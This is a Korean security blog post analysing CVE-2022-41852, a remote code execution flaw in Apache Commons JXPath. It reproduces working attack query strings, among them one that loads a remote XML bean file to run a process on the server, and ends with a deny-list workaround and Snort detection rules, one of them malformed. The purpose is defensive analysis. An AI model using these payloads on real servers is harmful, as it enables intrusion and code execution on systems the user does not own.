KOROMOON

착한 사마리아인이 되고 싶습니다.

10/18/2022

[CVE-2022-41852] JXPath 라이브러리 원격코드 실행 취약점 ([CVE-2022-41852] JXPath Library Remote Code Execution Vulnerability)


( 1 ) 취약점 정보


2022년 10월 06일 국제 공인 취약점 데이터베이스 사이트(https://nvd.nist.gov/)에 CVE-2022-41852 명명식으로 기재됨.

해당 취약점은 JXPath 라이브러리를 사용하여 신뢰할 수 없는 XPath 표현식을 악용 시 원격코드 실행 취약점이 가능하며 CVSS3 9.7 점으로 위험한 취약점으로 분류됨.

XPath 문자열을 처리하는 모든 JXPathContext 클래스 함수는 compile() 및 compilePath() 함수를 제외하고 취약함.

공격자는 XPath 표현식을 사용하여 클래스 경로에서 Java 클래스를 로드하여 원하는 작업을 실행할 수 있음.

외부에서 XPath 표현식에 대한 값을 제공할 수 있으면 공격자는 어플리케이션 서버에서 악의적인 코드를 실행할 수 있음.


취약한 버전은 JXPaxh 라이브러리 1.3 버전 이하로 모두 해당됨.

현재 JXPaxh 라이브러리에 공식적인 패치 수정 사항은 없으며 XPath 기능 비활성화는 서비스 차원에서 불가능하므로 보안장비에 탐지패턴을 등록하여 보호해야 함.


■ 취약한 버전 정보

아티팩트 ID : commons-jxpath

그룹 ID : commons-jxpath

패키지 : org.apache.commons.jxpath

버전 : <= 1.3


참고로 JXPath 라이브러리는 Apache 사에서 제공하는 라이브러리로 오브젝트를 XPath 형식으로 사용할 수 있게 해주는 라이브러리임.

JXPath 홈페이지 : 

https://commons.apache.org/proper/commons-jxpath/


추가로 XPath(XML Path Language) 란 W3C 표준으로 확장 생성 언어 문서의 구조를 통해 경로 위에 지정한 구문을 사용하여 항목을 배치하고 처리하는 방법을 기술하는 언어임.

XML 표현보다 더 쉽고 약어로 되어 있으며 XSL 변환(XSLT)과 XML 지시어 언어(XPointer)에 쓰이는 언어임.

XPath 는 XML 문서의 노드를 정의하기 위하여 경로식을 사용하며, 수학 함수와 기타 확장 가능한 표현들이 있음.

XPath 참고 사이트 : 

https://ko.wikipedia.org/wiki/XPath




( 2 ) PoC 분석


JXPath 라이브러리는 XPath 표현식에서 함수 실행을 지원함.

공식 사용자 가이드 링크 : 

https://commons.apache.org/proper/commons-jxpath/users-guide.html#Standard_Extension_Functions

예를 들어, JXPathContext.getValue(path) 및 JXPathContext.iterate(path) 메소드는 사용자가 경로 매개변수에 입력을 보내도록 하면 위험함.


현재 JXPath 라이브러리의 취약한 코드에 대한 정확한 분석 정보는 공개되지 않았으며 아래와 같이 PoC 를 통한 취약점 테스트 정보만 기재됨.

해당 PoC 정보를 토대로 보안장비에 등록할 탐지패턴를 도출하고자 함.


현재 공개된 PoC 를 가지고 간단한 Spring 프레임워크 응용 프로그램을 구축함.

PoC 링크 : 

https://github.com/Warxim/CVE-2022-41852


사용자 입력을 받아 Persion 클래스에서 지정된 데이터를 검색하는 데 사용하는 단순하고 취약한 엔드포인트 메소드가 포함되어 있음.

이 엔드포인트에 대한 유효한 사용자 입력은 "author", "name" 및 "/" 임.


< 취약한 엔드포인트 >


쿼리 문자열 ?path=website 로 엔드포인트를 호출하면 웹사이트가 반환됨.


< 쿼리 매개변수의 유효한 XPath 값 >


그러나 공격자는 Java 코드로 악의적인 코드를 보낼 수 있음.

예를 들어 아래와 같은 쿼리 문자열을 보낼 경우 응용 프로그램이 종료됨.

?path=java.lang.System.exit(42)


< java.lang.System.exit(42) 쿼리 문자열 입력 시 Spring 어플리케이션 로그 >


그러나 사용자 입력이 응용 프로그램에 의해 접두사/접미사가 붙는 사례가 있을 수 있음.

예를 들어 앞에 슬래시 문자(/)가 있을 수 있음.

그러나 공격자는 XPath 파이프를 활용하여 쿼리 문자열을 보낼 수 있기 때문에 우회가 가능함.

?path=%7Cjava.lang.System.exit(42)


< 취약한 엔드포인트 또 다른 예 >


응용 프로그램을 종료하는 방법 외에도 명령어 실행하는 방법은 많음.

그 중 하나는 XML 구성을 사용하여 bean 을 로드할 수 있는 Spring 의 ClassPathXmlApplicationContext 를 활용함.

악의적은 코드는 서버에서 외부 XML 파일로 로드함.

?path=org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")


XML 파일에는 Windows 에서 명령 프롬프트를 사용하여 계산기를 실행하기 위한 매개변수와 함께 Java 의 ProcessBuilder 에서 bean 을 생성하기 위한 구성이 포함됨.


< Spring 의 XML Bean 정의 >


이 간단한 PoC 코드로 Windows 서버에서 계산기를 실행시킴.


< 계산기 실행시키는 PoC 화면 >




( 3 ) 취약점 방어


현재 JXPaxh 라이브러리에 공식적인 패치 수정 사항은 없으며 XPath 기능 비활성화는 서비스 차원에서 불가능하므로 보안장비에 탐지패턴을 등록하여 보호해야 함.

문제 해결 방안이 기재되었으나 시스템 속성 "jxpath.class.deny" 를 설정하여 제한된 클래스 이름 목록을 지정하는 방법임.

ex. "jxpath.class.deny=java.lang.Runtime" 등록 시 xpath 를 통한 java.lang.Runtime 클래스 노출을 거부하지만 다른 모든 클래스는 노출됨. 아니면 하나 이상의 클래스를 지정할려면 쉼표를 구분 기호로 사용하여 전부 다 지정해야 함.

CVE-2022-41852 취약점에 대한 Apache 사의 답변 사이트 : 

https://github.com/apache/commons-jxpath/pull/25


현재 공개된 PoC 를 대상으로 보안장비에 Snort 패턴을 등록하여 모니터링 및 대응함.

아래 와 같이 CVE-2022-41852 취약점 공격 시도 시 사용되는 문자열들이 URL 에 포함될 경우 탐지하는 패턴임.

- java.lang.System.exit(42)

- java.lang.Thread.sleep

- org.springframework.context.support.ClassPathXmlApplicationContext.new


alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_1"; content:"java.lang.System.exit(42)"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_2"; content:"content:"java.lang.Thread.sleep"; http_uri; nocase;)

alert tcp any any -> any any (msg:"KOROMOON_JXPath_Library_RCE_Access_3"; content:"org.springframework.context.support.ClassPathXmlApplicationContext.new"; http_uri; nocase;)




참고 사이트 : 

https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

https://nvd.nist.gov/vuln/detail/CVE-2022-41852

https://github.com/Warxim/CVE-2022-41852

https://github.com/apache/commons-jxpath/pull/25


댓글 없음:

댓글 쓰기